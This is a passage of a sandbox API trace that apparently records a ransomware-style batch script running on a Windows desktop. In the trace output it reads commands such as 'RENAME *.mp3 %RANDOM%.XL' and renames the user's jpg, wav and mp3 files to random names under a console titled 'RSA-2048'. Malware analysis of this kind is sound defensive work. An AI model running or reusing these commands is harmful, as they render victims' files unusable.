lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0037.777] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.777] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.777] GetFileType (hFile=0x74) returned 0x1 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.777] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=3303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.777] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.777] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.777] GetFileType (hFile=0x74) returned 0x1 [0037.777] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.777] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=3309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0037.778] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.778] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.778] GetFileType (hFile=0x74) returned 0x1 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.778] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=3311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0037.778] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.778] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.778] GetFileType (hFile=0x74) returned 0x1 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.778] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.778] SetFilePointer (in: hFile=0x74, lDistanceToMove=3337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.778] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0037.778] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.779] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.779] GetFileType (hFile=0x74) returned 0x1 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.779] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0037.779] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.779] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.779] GetFileType (hFile=0x74) returned 0x1 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.779] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=3350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.779] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.779] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.779] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.779] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.780] GetFileType (hFile=0x74) returned 0x1 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.780] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=3356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0037.780] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.780] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.780] GetFileType (hFile=0x74) returned 0x1 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.780] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=3358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.780] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.780] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.780] GetFileType (hFile=0x74) returned 0x1 [0037.780] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.781] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=3384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.781] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.781] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.781] GetFileType (hFile=0x74) returned 0x1 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.781] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=3395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.781] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.781] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.781] GetFileType (hFile=0x74) returned 0x1 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.781] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.781] SetFilePointer (in: hFile=0x74, lDistanceToMove=3397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.782] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.782] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.782] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.782] GetFileType (hFile=0x74) returned 0x1 [0037.782] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.782] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.782] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.782] _close (_FileHandle=3) returned 0 [0037.782] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.782] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.783] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.783] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.783] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.783] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.783] SetConsoleInputExeNameW () returned 0x1 [0037.783] GetConsoleOutputCP () returned 0x1b5 [0037.783] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.783] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.784] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.784] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.784] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.784] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c18 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.784] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.784] GetProcessHeap () returned 0x4e0000 [0037.785] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.785] GetProcessHeap () returned 0x4e0000 [0037.785] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.785] GetProcessHeap () returned 0x4e0000 [0037.785] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.785] GetProcessHeap () returned 0x4e0000 [0037.785] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.785] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.785] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.785] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x18e2, lpOverlapped=0x0) returned 1 [0037.785] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.785] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0037.785] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.785] GetFileType (hFile=0x74) returned 0x1 [0037.785] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.785] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.785] GetProcessHeap () returned 0x4e0000 [0037.785] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.785] GetProcessHeap () returned 0x4e0000 [0037.786] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.786] _tell (_FileHandle=3) returned 3405 [0037.786] _close (_FileHandle=3) returned 0 [0037.786] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.786] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.786] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.786] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.786] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.786] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.786] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x18e0, lpOverlapped=0x0) returned 1 [0037.786] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.786] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n\n") returned 26 [0037.787] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.787] GetFileType (hFile=0x74) returned 0x1 [0037.787] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.787] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.787] GetProcessHeap () returned 0x4e0000 [0037.787] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.787] GetProcessHeap () returned 0x4e0000 [0037.787] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5038a0 [0037.787] GetProcessHeap () returned 0x4e0000 [0037.787] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a38 [0037.788] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.788] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.788] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.788] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.788] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.788] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.788] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.788] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.788] rand () returned 16132 [0037.788] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="16132") returned 5 [0037.788] GetProcessHeap () returned 0x4e0000 [0037.788] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.788] GetProcessHeap () returned 0x4e0000 [0037.788] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.788] GetProcessHeap () returned 0x4e0000 [0037.788] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.789] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.789] GetProcessHeap () returned 0x4e0000 [0037.789] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.789] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f4ab8 [0037.790] _tell (_FileHandle=3) returned 3431 [0037.790] _close (_FileHandle=3) returned 0 [0037.790] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.790] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.790] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.790] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.790] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.790] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.790] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.790] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.790] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.790] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4ae8 [0037.790] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x28) returned 0x4f4ae8 [0037.791] GetProcessHeap () returned 0x4e0000 [0037.791] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ae8) returned 0x28 [0037.791] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4b18 [0037.791] GetProcessHeap () returned 0x4e0000 [0037.791] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b58 [0037.791] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x28) returned 0x4f4b58 [0037.791] GetProcessHeap () returned 0x4e0000 [0037.791] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x28 [0037.791] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b88 [0037.791] GetProcessHeap () returned 0x4e0000 [0037.791] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5868 [0037.791] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.791] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.791] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.791] GetLastError () returned 0x7b [0037.791] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f5ac8 [0037.791] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f5ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.791] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41e850*="*.jpg") returned 0x2b [0037.791] SetErrorMode (uMode=0x0) returned 0x1 [0037.792] GetProcessHeap () returned 0x4e0000 [0037.792] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5ce0 [0037.792] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.792] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.792] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.792] GetLastError () returned 0x7b [0037.792] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x4f5870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f5870) returned 0x4f4bc0 [0037.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0b9t2GfSs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k0b9t2gfss.jpg"), 